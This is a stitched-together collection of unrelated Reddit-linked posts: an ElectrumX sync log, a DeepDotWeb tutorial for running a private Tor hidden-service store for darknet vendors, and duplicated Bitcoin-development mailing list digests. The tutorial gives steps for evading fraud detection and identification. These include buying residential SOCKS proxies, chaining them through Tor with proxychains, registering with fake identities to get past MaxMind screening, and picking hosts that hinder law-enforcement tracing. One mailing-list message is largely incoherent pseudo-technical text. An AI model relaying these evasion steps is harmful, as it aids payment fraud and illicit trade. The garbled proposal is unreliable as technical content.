Dec 4 13:27:49 such electrumx_server.py[17106]: INFO:BlockProcessor:tip: 0000000000000000000e7bba0287a645ad27a20f4cca815f2e3535e954b99e16
Dec 4 13:27:49 such electrumx_server.py[17106]: INFO:BlockProcessor:tx count: 275,887,788
Dec 4 13:27:49 such electrumx_server.py[17106]: INFO:BlockProcessor:flush count: 230
Dec 4 13:27:49 such electrumx_server.py[17106]: INFO:BlockProcessor:reorg limit is 200 blocks
Dec 4 13:27:49 such electrumx_server.py[17106]: INFO:PeerManager:accepted new peer 1/13 btc.smsys.me from coins.py
Dec 4 13:27:49 such electrumx_server.py[17106]: INFO:PeerManager:accepted new peer 2/13 E-X.not.fyi from coins.py
Dec 4 13:27:49 such electrumx_server.py[17106]: INFO:PeerManager:accepted new peer 3/13 elec.luggs.co from coins.py
Dec 4 13:27:49 such electrumx_server.py[17106]: INFO:PeerManager:accepted new peer 4/13 electrum.vom-stausee.de from coins.py
Dec 4 13:27:49 such electrumx_server.py[17106]: INFO:PeerManager:accepted new peer 5/13 electrum3.hachre.de from coins.py
Dec 4 13:27:49 such electrumx_server.py[17106]: INFO:PeerManager:accepted new peer 6/13 electrum.hsmiths.com from coins.py
Dec 4 13:27:49 such electrumx_server.py[17106]: INFO:PeerManager:accepted new peer 7/13 erbium1.sytes.net from coins.py
Dec 4 13:27:49 such electrumx_server.py[17106]: INFO:PeerManager:accepted new peer 8/13 helicarrier.bauerj.eu from coins.py
Dec 4 13:27:49 such electrumx_server.py[17106]: INFO:PeerManager:accepted new peer 9/13 hsmiths4fyqlw5xw.onion from coins.py
Dec 4 13:27:49 such electrumx_server.py[17106]: INFO:PeerManager:accepted new peer 10/13 luggscoqbymhvnkp.onion from coins.py
Dec 4 13:27:49 such electrumx_server.py[17106]: INFO:PeerManager:accepted new peer 11/13 ozahtqwp25chjdjd.onion from coins.py
Dec 4 13:27:49 such electrumx_server.py[17106]: INFO:PeerManager:accepted new peer 12/13 us11.einfachmalnettsein.de from coins.py
Dec 4 13:27:49 such electrumx_server.py[17106]: INFO:PeerManager:accepted new peer 13/13 ELEX01.blackpole.online from coins.py
Dec 4 13:27:49 such electrumx_server.py[17106]: INFO:Controller:RPC server listening on localhost:8000
Dec 4 13:27:49 such electrumx_server.py[17106]: INFO:Prefetcher:catching up to daemon height 497,600 (1,002 blocks behind)
Dec 4 13:36:37 such electrumx_server.py[17106]: INFO:BlockProcessor:our height: 496,608 daemon: 497,600 UTXOs 14MB hist 16MB
Dec 4 13:36:37 such electrumx_server.py[17106]: INFO:BlockProcessor:processed 10 blocks in 521.0s
Dec 4 13:39:22 such electrumx_server.py[17106]: INFO:BlockProcessor:our height: 496,617 daemon: 497,602 UTXOs 24MB hist 29MB
Dec 4 13:39:22 such electrumx_server.py[17106]: INFO:BlockProcessor:processed 9 blocks in 161.3s
submitted by murlidhara to Electrum [link] [comments]

Full tutorial for setting up a hidden service store

Hello everybody! There are a lot of vendors which reputation is very high and may be trusted for direct orders. If they do not want to rely only on third parties markets and be dependant to their downtime, death, exit scam etc. with this tutorial they will be able to easily setup a private store (and harden it a bit).
Advantages:
Disadvantages:
This tutorial will guide you with the entire procedure, from buying a server to setting up Anonymart. This tutorial assumes that you will start with a freshly installed Debian 7. Other setup and software may interfere with my setup script, so if you are unsure read the source code.

Buying the server

This is probably the hardest part. You should look for a provider who accept Bitcoin and that has not strict practices on verifying customers identities.
One of the best resources for finding out such providers is:
https://www.exoticvps.com/
While there are some providers like vultr.com which will not ask for personal details and will not complain about tor, I'd suggest to avoid such large scale companies (especially if based in the US). For example, if we assume the scenario where everybody choose Vultr because it's the easier place to obtain a server, LE may force Vultr to monitor all instances which generate tor traffic without being a a tor node. After that they may cause some seconds of downtime each and compare the result to the availability of the store. The whole point of this tutorial is to decentralize, and you really should think always about that.
On most providers you can't order via Tor with obviously fake credentials because all of them use MaxMind fraud prevention which will blacklist all orders done via Tor, VPN or anonymous proxies.
First of all install proxychains on your torified system. You can install it in Tails and debian based distributions with
sudo apt-get install proxychains
(on Whonix this step is not required)
Now, in order to place an order which seems legit to fraud prevention we need a clean ip from a residential connection. This is what Socks Proxies exist for so you should buy some at Vip72 (or obviously any other provider). The demo cost 3$ and you can pay with Bitcoin via Tor.
After your payment has been verified you should be able to browse Socks Proxies by their Country/Region.
Select one and test it via proxychains. Proxychains is useful because, as the name says, it can chain proxy, so you can connect to the specified set of proxy you want via tor.
Here's the default configuration:
[ProxyList] # add proxy here ... # meanwile # defaults set to "tor" socks4 127.0.0.1 9050 
Now add the selected proxy to the conf:
sudo nano /etc/proxychains.conf
[ProxyList] # add proxy here ... # meanwile # defaults set to "tor" socks4 127.0.0.1 9050 socks5   
Now open a browser using proxychains:
proxychains chromium
or
proxychains firefox
Keep in mind that this should not be done with tor-browser because it's iser agents and other specifics are detected by the anti fraud system.
If the socks proxy is working you should be able to browse the internet. If nothing loads, just get another socks and change the proxychains configuration.
Now go to http://www.fakenamegenerator.com/ and get something which will match your proxy and seems to be believable.
Choose your provider and try to order depending on which location you prefer and how much money you wish to spend. Keep in mind that this tutorial is aimed to full system, so if you are not ordering a dedicated server but a VPS you should select a full virtualized one (KVM, vmware, XEN-HVM). Unless you're expecting a huge load, 512MB of RAM and 10GB oh storage should be enough.
Your provider will send you an email with information to access to you control panel from where you will be able to install the operating system. This tutorial is specifically for Debian 7 x64 (x86 is ok too), but if you know what you are doing you can obviously

Basic server setup

First of all you have to generate a ssh key if you already don't have one.
ssh-keygen -t ecdsa
With that command we are generating a 256 bits ECDSA key.
If you left the dafult options you should be able to get the public key using:
cat .ssh/id_ecdsa.pub
Now login to your newly installed server. The panel should have generally asked you to provide a root password or sent via email a random generated one. Since here we're assuming that you are on Tails, Whonix or any othe system which force all connections trough tor. In particular, if you are on Tails, you should enable SSH keys persistence. If you continue on the tutorial skipping this part, you will loose your keys and the access to the server as soon as you shutdown your computer.
ssh [email protected]
Answer yes to the first question.
Now the last step:
git clone https://github.com/anonymart/anonymart.git /vawww/anonymart
sh /vawww/anonymart/bin/full_setup.sh
The installation script will update the system, remove useless packages, install the required ones, configure a nginx+php-fpm+mysql stack, configure tor, configure iptables and much more. If everything goes smoothly at the end it should tell you an onion address which will be the the url of your store and an onion address which you will use to connect via ssh to the server instead of the original ip.

Configure anonymart

Now go to your new url. You will be redirected to /settings/create where you will create the basic settings for yout store. Choose a very strong password. Bitcoin address for payments will be generated using your Electrum master key (which can't be used to spend the coins) using BIP32.

Final

I've already coded a small script where vendors may enter their onion url signed with their GPG key. The script will look up on Grams for that GPG key and match the vendor to the url and add it to a public database. If some stores start to popup, i will make it available as a hidden service.
Donations: 12xjgV2sUSMrPAeFHj3r2sgV6wSjt2QMBP

Some notes on anonymart

The original developer of anonymart has decided to abandon the project because interested in something else. I was already collaborating with him before that decision so he decided to pass to me the lead of it. I've reviewed part of the code and i haven't seen security issues, but this doesn't mean it's 100% secure. I'll do my best to review it all and add some missing features like:
  • Two factor authentication
  • Switch from blockchain.info api to lookup on Electrum stratum servers
  • Add the possibility to add more than one image per product
  • Change the order id from incremental to a random one
  • Add JSON api to list store products to facilitate third parties search engines
Unfortunately I'm not very familiar with laravel yet, so before messing with the code I'd need some times, so don't expect huge updates soon.
submitted by spike25 to DeepDotWeb [link] [comments]

Bitcoin-development Digest, Vol 48, Issue 63 | Damian Gomez | May 11 2015

Damian Gomez on May 11 2015:
Btw How awful that I didn't cite my sources, please exucse me, this is
definitely not my intention sometimes I get too caught up in my own
excitemtnt
1) Martin, J., Alvisi, L., Fast Byzantine Consensus. *IEEE Transactions on
Dependable and Secure Computing. 2006. *3(3) doi: Please see
John-Phillipe Martin and Lorenzo ALvisi
2) https://eprint.iacr.org/2011/191.pdf One_Time Winternitz Signatures.
On Mon, May 11, 2015 at 1:20 PM, <
bitcoin-development-request at lists.sourceforge.net> wrote:
Send Bitcoin-development mailing list submissions to
bitcoin-development at lists.sourceforge.net
To subscribe or unsubscribe via the World Wide Web, visit
https://lists.sourceforge.net/lists/listinfo/bitcoin-development
or, via email, send a message with subject or body 'help' to
bitcoin-development-request at lists.sourceforge.net
You can reach the person managing the list at
bitcoin-development-owner at lists.sourceforge.net
When replying, please edit your Subject line so it is more specific
than "Re: Contents of Bitcoin-development digest..."
Today's Topics:
  1. Re: Bitcoin-development Digest, Vol 48, Issue 62 (Damian Gomez)
---------- Forwarded message ----------
From: Damian Gomez <dgomez1092 at gmail.com>
To: bitcoin-development at lists.sourceforge.net
Cc:
Date: Mon, 11 May 2015 13:20:46 -0700
Subject: Re: [Bitcoin-development] Bitcoin-development Digest, Vol 48,
Issue 62
Hllo
I want to build from a conversation that I had w/ Peter (T?) regarding the
increase in block size in the bitcoin from its's current structure would be
the proposasl of an prepend to the hash chain itself that would be the
first DER decoded script in order to verify integrity(trust) within a set
of transactions and the originiator themselves.
It is my belief that the process to begin a new encryption tool using a
variant of the WinterNitz OTS for its existential unforgeability to be the
added signatures with every Wallet transaction in order to provide a
consesnus systemt that takes into accont a personal level of intergrity for
the intention fo a transaction to occur. This signature would then be
hashes for there to be an intermediate proxy state that then verifies and
evaluates the trust fucntion for the receiving trnsactions. This
evaluation loop would itself be a state in which the mining power and the
rewards derived from them would be an increased level of integrity as
provided for the "brainers" of a systems who are then the "signatuers" of
the transaction authenticity, and additiaonally program extranonces of x
bits {72} in order to have a double valid signature that the rest of the
nodes would accept in order to have a valid address from which to be able
to continuously receive transactions.
There is a level of diffculty in obtaining brainers, fees would only apply
uin so much as they are able to create authentic transactions based off the
voting power of the rest of the received nodes. The greater number of
faults within the system from a brainer then the more, so would his
computational power be restricted in order to provide a reward feedback
system. This singularity in a Byzantine consensus is only achieved if the
route of an appropriate transformation occurs, one that is invariant to the
participants of the system, thus being able to provide initial vector
transformations from a person's online identity is the responsibilty that
we have to ensure and calulate a lagrangian method that utilisizes a set of
convolutional neural network funcitons [backpropagation, fuzzy logic] and
and tranformation function taking the vectors of tranformations in a
kahunen-loeve algorithm and using the convergence of a baryon wave function
in order to proceed with a baseline reading of the current level of
integrity in the state today that is an instance of actionable acceleration
within a system.
This is something that I am trying to continue to parse out. Therefore
there are still heavy questions to be answered(the most important being the
consent of the people to measure their own levels of integrity through
mined information)> There must always be the option to disconnect from a
transactional system where payments occur in order to allow a level of
solace and peace within individuals -- withour repercussions and a seperate
system that supports the offline realm as well. (THis is a design problem)
Ultimately, quite literally such a transaction system could exist to
provide detailed analysis that promotes integrity being the basis for
sharing information. The fee structure would be eliminated, due to the
level of integrity and procesing power to have messages and transactions
and reviews of unfiduciary responsible orgnizations be merited as highly
true (.9 in fizzy logic) in order to promote a well-being in the state.
That is its own reward, the strenght of having more processing speed.
FYI(thank you to peter whom nudged my thinking and interest (again) in
this area. )
This is something I am attempting to design in order to program it. Though
I am not an expert and my technology stack is limited to java and c (and my
issues from it). I provided a class the other day the was pseudo code for
the beginning of the consensus. Now I might to now if I am missing any of
teh technical paradigms that might make this illogical? I now with the
advent of 7petabyte computers one could easily store 2.5 petabytes of human
information for just an instance of integrity not to mention otehr
emotions.
*Also, might someone be able to provide a bit of information on Bitcoin
core project?*
thank you again. Damain.
On Mon, May 11, 2015 at 10:29 AM, <
bitcoin-development-request at lists.sourceforge.net> wrote:
Send Bitcoin-development mailing list submissions to
bitcoin-development at lists.sourceforge.net
To subscribe or unsubscribe via the World Wide Web, visit
https://lists.sourceforge.net/lists/listinfo/bitcoin-development
or, via email, send a message with subject or body 'help' to
bitcoin-development-request at lists.sourceforge.net
You can reach the person managing the list at
bitcoin-development-owner at lists.sourceforge.net
When replying, please edit your Subject line so it is more specific
than "Re: Contents of Bitcoin-development digest..."
Today's Topics:
  1. Fwd: Bitcoin core 0.11 planning (Wladimir)
  2. Re: Bitcoin core 0.11 planning (Wladimir)
  3. Long-term mining incentives (Thomas Voegtlin)
  4. Re: Long-term mining incentives
    (insecurity at national.shitposting.agency)
  5. Re: Reducing the block rate instead of increasing the maximum
    block size (Luke Dashjr)
  6. Re: Long-term mining incentives (Gavin Andresen)
---------- Forwarded message ----------
From: Wladimir <laanwj at gmail.com>
To: Bitcoin Dev <bitcoin-development at lists.sourceforge.net>
Cc:
Date: Mon, 11 May 2015 14:49:53 +0000
Subject: [Bitcoin-development] Fwd: Bitcoin core 0.11 planning
On Tue, Apr 28, 2015 at 11:01 AM, Pieter Wuille <pieter.wuille at gmail.com>
wrote:
As softforks almost certainly require backports to older releases and
other
software anyway, I don't think they should necessarily be bound to
Bitcoin
Core major releases. If they don't require large code changes, we can
easily
do them in minor releases too.
Agree here - there is no need to time consensus changes with a major
release, as they need to be ported back to older releases anyhow.
(I don't really classify them as software features, but properties of
the underlying system that we need to adopt to)
Wladimir
---------- Forwarded message ----------
From: Wladimir <laanwj at gmail.com>
To: Bitcoin Dev <bitcoin-development at lists.sourceforge.net>
Cc:
Date: Mon, 11 May 2015 15:00:03 +0000
Subject: Re: [Bitcoin-development] Bitcoin core 0.11 planning
A reminder - feature freeze and string freeze is coming up this Friday
the 15th.
Let me know if your pull request is ready to be merged before then,
Wladimir
On Tue, Apr 28, 2015 at 7:44 AM, Wladimir J. van der Laan
<laanwj at gmail.com> wrote:
Hello all,
The release window for 0.11 is nearing, I'd propose the following
schedule:
2015-05-01 Soft translation string freeze
 Open Transifex translations for 0.11 Finalize and close translation for 0.9 
2015-05-15 Feature freeze, string freeze
2015-06-01 Split off 0.11 branch
 Tag and release 0.11.0rc1 Start merging for 0.12 on master branch 
2015-07-01 Release 0.11.0 final (aim)
In contrast to former releases, which were protracted for months, let's
try to be more strict about the dates. Of course it is always possible for
last-minute critical issues to interfere with the planning. The release
will not be held up for features, though, and anything that will not make
it to 0.11 will be postponed to next release scheduled for end of the year.
Wladimir
---------- Forwarded message ----------
From: Thomas Voegtlin <thomasv at electrum.org>
To: Bitcoin Development <bitcoin-development at lists.sourceforge.net>
Cc:
Date: Mon, 11 May 2015 18:28:46 +0200
Subject: [Bitcoin-development] Long-term mining incentives
The discussion on block size increase has brought some attention to the
other elephant in the room: Long-term mining incentives.
Bitcoin derives its current market value from the assumption that a
stable, steady-state regime will be reached in the future, where miners
have an incentive to keep mining to protect the network. Such a steady
state regime does not exist today, because miners get most of their
reward from the block subsidy, which will progressively be removed.
Thus, today's 3 billion USD question is the following: Will a steady
state regime be reached in the future? Can such a regime exist? What are
the necessary conditions for its existence?
Satoshi's paper suggests that this may be achieved through miner fees.
Quite a few people seem to take this for granted, and are working to
make it happen (developing cpfp and replace-by-fee). This explains part
of the opposition to raising the block size limit; some people would
like to see some fee pressure building up first, in order to get closer
to a regime where miners are incentivised by transaction fees instead of
block subsidy. Indeed, the emergence of a working fee market would be
extremely reassuring for the long-term viability of bitcoin. So, the
thinking goes, by raising the block size limit, we would be postponing a
crucial reality check. We would be buying time, at the expenses of
Bitcoin's decentralization.
OTOH, proponents of a block size increase have a very good point: if the
block size is not raised soon, Bitcoin is going to enter a new, unknown
and potentially harmful regime. In the current regime, almost all
transaction get confirmed quickly, and fee pressure does not exist. Mike
Hearn suggested that, when blocks reach full capacity and users start to
experience confirmation delays and confirmation uncertainty, users will
simply go away and stop using Bitcoin. To me, that outcome sounds very
plausible indeed. Thus, proponents of the block size increase are
conservative; they are trying to preserve the current regime, which is
known to work, instead of letting the network enter uncharted territory.
My problem is that this seems to lacks a vision. If the maximal block
size is increased only to buy time, or because some people think that 7
tps is not enough to compete with VISA, then I guess it would be
healthier to try and develop off-chain infrastructure first, such as the
Lightning network.
OTOH, I also fail to see evidence that a limited block capacity will
lead to a functional fee market, able to sustain a steady state. A
functional market requires well-informed participants who make rational
choices and accept the outcomes of their choices. That is not the case
today, and to believe that it will magically happen because blocks start
to reach full capacity sounds a lot like like wishful thinking.
So here is my question, to both proponents and opponents of a block size
increase: What steady-state regime do you envision for Bitcoin, and what
is is your plan to get there? More specifically, how will the
steady-state regime look like? Will users experience fee pressure and
delays, or will it look more like a scaled up version of what we enjoy
today? Should fee pressure be increased jointly with subsidy decrease,
or as soon as possible, or never? What incentives will exist for miners
once the subsidy is gone? Will miners have an incentive to permanently
fork off the last block and capture its fees? Do you expect Bitcoin to
work because miners are altruistic/selfish/honest/caring?
A clear vision would be welcome.
---------- Forwarded message ----------
From: insecurity at national.shitposting.agency
To: thomasv at electrum.org
Cc: bitcoin-development at lists.sourceforge.net
Date: Mon, 11 May 2015 16:52:10 +0000
Subject: Re: [Bitcoin-development] Long-term mining incentives
On 2015-05-11 16:28, Thomas Voegtlin wrote:
My problem is that this seems to lacks a vision. If the maximal block
size is increased only to buy time, or because some people think that 7
tps is not enough to compete with VISA, then I guess it would be
healthier to try and develop off-chain infrastructure first, such as the
Lightning network.
If your end goal is "compete with VISA" you might as well just give up
and go home right now. There's lots of terrible proposals where people
try to demonstrate that so many hundred thousand transactions a second
are possible if we just make the block size 500GB. In the real world
with physical limits, you literally can not verify more than a few
thousand ECDSA signatures a second on a CPU core. The tradeoff taken
in Bitcoin is that the signatures are pretty small, but they are also
slow to verify on any sort of scale. There's no way competing with a
centralised entity using on-chain transactions is even a sane goal.
---------- Forwarded message ----------
From: Luke Dashjr <luke at dashjr.org>
To: bitcoin-development at lists.sourceforge.net
Cc:
Date: Mon, 11 May 2015 16:47:47 +0000
Subject: Re: [Bitcoin-development] Reducing the block rate instead of
increasing the maximum block size
On Monday, May 11, 2015 7:03:29 AM Sergio Lerner wrote:
  1. It will encourage centralization, because participants of mining
pools will loose more money because of excessive initial block template
latency, which leads to higher stale shares
When a new block is solved, that information needs to propagate
throughout the Bitcoin network up to the mining pool operator nodes,
then a new block header candidate is created, and this header must be
propagated to all the mining pool users, ether by a push or a pull
model. Generally the mining server pushes new work units to the
individual miners. If done other way around, the server would need to
handle a high load of continuous work requests that would be difficult
to distinguish from a DDoS attack. So if the server pushes new block
header candidates to clients, then the problem boils down to increasing
bandwidth of the servers to achieve a tenfold increase in work
distribution. Or distributing the servers geographically to achieve a
lower latency. Propagating blocks does not require additional CPU
resources, so mining pools administrators would need to increase
moderately their investment in the server infrastructure to achieve
lower latency and higher bandwidth, but I guess the investment would be
low.
  1. Latency is what matters here, not bandwidth so much. And latency
reduction
is either expensive or impossible.
  1. Mining pools are mostly run at a loss (with exception to only the most
centralised pools), and have nothing to invest in increasing
infrastructure.
3, It will reduce the security of the network
The security of the network is based on two facts:
A- The miners are incentivized to extend the best chain
B- The probability of a reversal based on a long block competition
decreases as more confirmation blocks are appended.
C- Renting or buying hardware to perform a 51% attack is costly.
A still holds. B holds for the same amount of confirmation blocks, so 6
confirmation blocks in a 10-minute block-chain is approximately
equivalent to 6 confirmation blocks in a 1-minute block-chain.
Only C changes, as renting the hashing power for 6 minutes is ten times
less expensive as renting it for 1 hour. However, there is no shop where
one can find 51% of the hashing power to rent right now, nor probably
will ever be if Bitcoin succeeds. Last, you can still have a 1 hour
confirmation (60 1-minute blocks) if you wish for high-valued payments,
so the security decreases only if participant wish to decrease it.
You're overlooking at least:
  1. The real network has to suffer wasted work as a result of the stale
blocks,
while an attacker does not. If 20% of blocks are stale, the attacker only
needs 40% of the legitimate hashrate to achieve 50%-in-practice.
  1. Since blocks are individually weaker, it becomes cheaper to DoS nodes
with
invalid blocks. (not sure if this is a real concern, but it ought to be
considered and addressed)
  1. Reducing the block propagation time on the average case is good, but
what happen in the worse case?
Most methods proposed to reduce the block propagation delay do it only
on the average case. Any kind of block compression relies on both
parties sharing some previous information. In the worse case it's true
that a miner can create and try to broadcast a block that takes too much
time to verify or bandwidth to transmit. This is currently true on the
Bitcoin network. Nevertheless there is no such incentive for miners,
since they will be shooting on their own foots. Peter Todd has argued
that the best strategy for miners is actually to reach 51% of the
network, but not more. In other words, to exclude the slowest 49%
percent. But this strategy of creating bloated blocks is too risky in
practice, and surely doomed to fail, as network conditions dynamically
change. Also it would be perceived as an attack to the network, and the
miner (if it is a public mining pool) would be probably blacklisted.
One can probably overcome changing network conditions merely by trying to
reach 75% and exclude the slowest 25%. Also, there is no way to identify
or
blacklist miners.
  1. Thousands of SPV wallets running in mobile devices would need to be
upgraded (thanks Mike).
That depends on the current upgrade rate for SPV wallets like Bitcoin
Wallet and BreadWallet. Suppose that the upgrade rate is 80%/year: we
develop the source code for the change now and apply the change in Q2
2016, then most of the nodes will already be upgraded by when the
hardfork takes place. Also a public notice telling people to upgrade in
web pages, bitcointalk, SPV wallets warnings, coindesk, one year in
advance will give plenty of time to SPV wallet users to upgrade.
I agree this shouldn't be a real concern. SPV wallets are also more
likely and
less risky (globally) to be auto-updated.
  1. If there are 10x more blocks, then there are 10x more block headers,
and that increases the amount of bandwidth SPV wallets need to catch up
with the chain
A standard smartphone with average cellular downstream speed downloads
2.6 headers per second (1600 kbits/sec) [3], so if synchronization were
to be done only at night when the phone is connected to the power line,
then it would take 9 minutes to synchronize with 1440 headers/day. If a
person should accept a payment, and the smart-phone is 1 day
out-of-synch, then it takes less time to download all the missing
headers than to wait for a 10-minute one block confirmation. Obviously
all smartphones with 3G have a downstream bandwidth much higher,
averaging 1 Mbps. So the whole synchronization will be done less than a
1-minute block confirmation.
Uh, I think you need to be using at least median speeds. As an example, I
can
only sustain (over 3G) about 40 kbps, with a peak of around 400 kbps. 3G
has
worse range/coverage than 2G. No doubt the average is skewed so high
because
of densely populated areas like San Francisco having 400+ Mbps cellular
data.
It's not reasonable to assume sync only at night: most payments will be
during
the day, on battery - so increased power use must also be considered.
According to CISCO mobile bandwidth connection speed increases 20% every
year.
Only in small densely populated areas of first-world countries.
Luke
---------- Forwarded message ----------
From: Gavin Andresen <gavinandresen at gmail.com>
To: insecurity at national.shitposting.agency
Cc: Bitcoin Dev <bitcoin-development at lists.sourceforge.net>
Date: Mon, 11 May 2015 13:29:02 -0400
Subject: Re: [Bitcoin-development] Long-term mining incentives
I think long-term the chain will not be secured purely by proof-of-work.
I think when the Bitcoin network was tiny running solely on people's home
computers proof-of-work was the right way to secure the chain, and the only
fair way to both secure the chain and distribute the coins.
See https://gist.github.com/gavinandresen/630d4a6c24ac6144482a for some
half-baked thoughts along those lines. I don't think proof-of-work is the
last word in distributed consensus (I also don't think any alternatives are
anywhere near ready to deploy, but they might be in ten years).
I also think it is premature to worry about what will happen in twenty or
thirty years when the block subsidy is insignificant. A lot will happen in
the next twenty years. I could spin a vision of what will secure the chain
in twenty years, but I'd put a low probability on that vision actually
turning out to be correct.
That is why I keep saying Bitcoin is an experiment. But I also believe
that the incentives are correct, and there are a lot of very motivated,
smart, hard-working people who will make it work. When you're talking about
trying to predict what will happen decades from now, I think that is the
best you can (honestly) do.

Gavin Andresen
One dashboard for servers and applications across Physical-Virtual-Cloud
Widest out-of-the-box monitoring support with 50+ applications
Performance metrics, stats and reports that give you Actionable Insights
Deep dive visibility with transaction tracing using APM Insight.
http://ad.doubleclick.net/ddm/clk/290420510;117567292;y
Bitcoin-development mailing list
Bitcoin-development at lists.sourceforge.net
https://lists.sourceforge.net/lists/listinfo/bitcoin-development
One dashboard for servers and applications across Physical-Virtual-Cloud
Widest out-of-the-box monitoring support with 50+ applications
Performance metrics, stats and reports that give you Actionable Insights
Deep dive visibility with transaction tracing using APM Insight.
http://ad.doubleclick.net/ddm/clk/290420510;117567292;y
Bitcoin-development mailing list
Bitcoin-development at lists.sourceforge.net
https://lists.sourceforge.net/lists/listinfo/bitcoin-development
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.linuxfoundation.org/pipermail/bitcoin-dev/attachments/20150511/8f777233/attachment.html>
original: http://lists.linuxfoundation.org/pipermail/bitcoin-dev/2015-May/008096.html
submitted by bitcoin-devlist-bot to bitcoin_devlist [link] [comments]

Bitcoin-development Digest, Vol 48, Issue 62 | Damian Gomez | May 11 2015

Damian Gomez on May 11 2015:
Hllo
I want to build from a conversation that I had w/ Peter (T?) regarding the
increase in block size in the bitcoin from its's current structure would be
the proposasl of an prepend to the hash chain itself that would be the
first DER decoded script in order to verify integrity(trust) within a set
of transactions and the originiator themselves.
It is my belief that the process to begin a new encryption tool using a
variant of the WinterNitz OTS for its existential unforgeability to be the
added signatures with every Wallet transaction in order to provide a
consesnus systemt that takes into accont a personal level of intergrity for
the intention fo a transaction to occur. This signature would then be
hashes for there to be an intermediate proxy state that then verifies and
evaluates the trust fucntion for the receiving trnsactions. This
evaluation loop would itself be a state in which the mining power and the
rewards derived from them would be an increased level of integrity as
provided for the "brainers" of a systems who are then the "signatuers" of
the transaction authenticity, and additiaonally program extranonces of x
bits {72} in order to have a double valid signature that the rest of the
nodes would accept in order to have a valid address from which to be able
to continuously receive transactions.
There is a level of diffculty in obtaining brainers, fees would only apply
uin so much as they are able to create authentic transactions based off the
voting power of the rest of the received nodes. The greater number of
faults within the system from a brainer then the more, so would his
computational power be restricted in order to provide a reward feedback
system. This singularity in a Byzantine consensus is only achieved if the
route of an appropriate transformation occurs, one that is invariant to the
participants of the system, thus being able to provide initial vector
transformations from a person's online identity is the responsibilty that
we have to ensure and calulate a lagrangian method that utilisizes a set of
convolutional neural network funcitons [backpropagation, fuzzy logic] and
and tranformation function taking the vectors of tranformations in a
kahunen-loeve algorithm and using the convergence of a baryon wave function
in order to proceed with a baseline reading of the current level of
integrity in the state today that is an instance of actionable acceleration
within a system.
This is something that I am trying to continue to parse out. Therefore
there are still heavy questions to be answered(the most important being the
consent of the people to measure their own levels of integrity through
mined information)> There must always be the option to disconnect from a
transactional system where payments occur in order to allow a level of
solace and peace within individuals -- withour repercussions and a seperate
system that supports the offline realm as well. (THis is a design problem)
Ultimately, quite literally such a transaction system could exist to
provide detailed analysis that promotes integrity being the basis for
sharing information. The fee structure would be eliminated, due to the
level of integrity and procesing power to have messages and transactions
and reviews of unfiduciary responsible orgnizations be merited as highly
true (.9 in fizzy logic) in order to promote a well-being in the state.
That is its own reward, the strenght of having more processing speed.
FYI(thank you to peter whom nudged my thinking and interest (again) in this
area. )
This is something I am attempting to design in order to program it. Though
I am not an expert and my technology stack is limited to java and c (and my
issues from it). I provided a class the other day the was pseudo code for
the beginning of the consensus. Now I might to now if I am missing any of
teh technical paradigms that might make this illogical? I now with the
advent of 7petabyte computers one could easily store 2.5 petabytes of human
information for just an instance of integrity not to mention otehr
emotions.
*Also, might someone be able to provide a bit of information on Bitcoin
core project?*
thank you again. Damain.
On Mon, May 11, 2015 at 10:29 AM, <
bitcoin-development-request at lists.sourceforge.net> wrote:
Send Bitcoin-development mailing list submissions to
bitcoin-development at lists.sourceforge.net
To subscribe or unsubscribe via the World Wide Web, visit
https://lists.sourceforge.net/lists/listinfo/bitcoin-development
or, via email, send a message with subject or body 'help' to
bitcoin-development-request at lists.sourceforge.net
You can reach the person managing the list at
bitcoin-development-owner at lists.sourceforge.net
When replying, please edit your Subject line so it is more specific
than "Re: Contents of Bitcoin-development digest..."
Today's Topics:
  1. Fwd: Bitcoin core 0.11 planning (Wladimir)
  2. Re: Bitcoin core 0.11 planning (Wladimir)
  3. Long-term mining incentives (Thomas Voegtlin)
  4. Re: Long-term mining incentives
    (insecurity at national.shitposting.agency)
  5. Re: Reducing the block rate instead of increasing the maximum
    block size (Luke Dashjr)
  6. Re: Long-term mining incentives (Gavin Andresen)
---------- Forwarded message ----------
From: Wladimir <laanwj at gmail.com>
To: Bitcoin Dev <bitcoin-development at lists.sourceforge.net>
Cc:
Date: Mon, 11 May 2015 14:49:53 +0000
Subject: [Bitcoin-development] Fwd: Bitcoin core 0.11 planning
On Tue, Apr 28, 2015 at 11:01 AM, Pieter Wuille <pieter.wuille at gmail.com>
wrote:
As softforks almost certainly require backports to older releases and
other
software anyway, I don't think they should necessarily be bound to
Bitcoin
Core major releases. If they don't require large code changes, we can
easily
do them in minor releases too.
Agree here - there is no need to time consensus changes with a major
release, as they need to be ported back to older releases anyhow.
(I don't really classify them as software features, but properties of
the underlying system that we need to adopt to)
Wladimir
---------- Forwarded message ----------
From: Wladimir <laanwj at gmail.com>
To: Bitcoin Dev <bitcoin-development at lists.sourceforge.net>
Cc:
Date: Mon, 11 May 2015 15:00:03 +0000
Subject: Re: [Bitcoin-development] Bitcoin core 0.11 planning
A reminder - feature freeze and string freeze is coming up this Friday the
15th.
Let me know if your pull request is ready to be merged before then,
Wladimir
On Tue, Apr 28, 2015 at 7:44 AM, Wladimir J. van der Laan
<laanwj at gmail.com> wrote:
Hello all,
The release window for 0.11 is nearing, I'd propose the following
schedule:
2015-05-01 Soft translation string freeze
 Open Transifex translations for 0.11 Finalize and close translation for 0.9 
2015-05-15 Feature freeze, string freeze
2015-06-01 Split off 0.11 branch
 Tag and release 0.11.0rc1 Start merging for 0.12 on master branch 
2015-07-01 Release 0.11.0 final (aim)
In contrast to former releases, which were protracted for months, let's
try to be more strict about the dates. Of course it is always possible for
last-minute critical issues to interfere with the planning. The release
will not be held up for features, though, and anything that will not make
it to 0.11 will be postponed to next release scheduled for end of the year.
Wladimir
---------- Forwarded message ----------
From: Thomas Voegtlin <thomasv at electrum.org>
To: Bitcoin Development <bitcoin-development at lists.sourceforge.net>
Cc:
Date: Mon, 11 May 2015 18:28:46 +0200
Subject: [Bitcoin-development] Long-term mining incentives
The discussion on block size increase has brought some attention to the
other elephant in the room: Long-term mining incentives.
Bitcoin derives its current market value from the assumption that a
stable, steady-state regime will be reached in the future, where miners
have an incentive to keep mining to protect the network. Such a steady
state regime does not exist today, because miners get most of their
reward from the block subsidy, which will progressively be removed.
Thus, today's 3 billion USD question is the following: Will a steady
state regime be reached in the future? Can such a regime exist? What are
the necessary conditions for its existence?
Satoshi's paper suggests that this may be achieved through miner fees.
Quite a few people seem to take this for granted, and are working to
make it happen (developing cpfp and replace-by-fee). This explains part
of the opposition to raising the block size limit; some people would
like to see some fee pressure building up first, in order to get closer
to a regime where miners are incentivised by transaction fees instead of
block subsidy. Indeed, the emergence of a working fee market would be
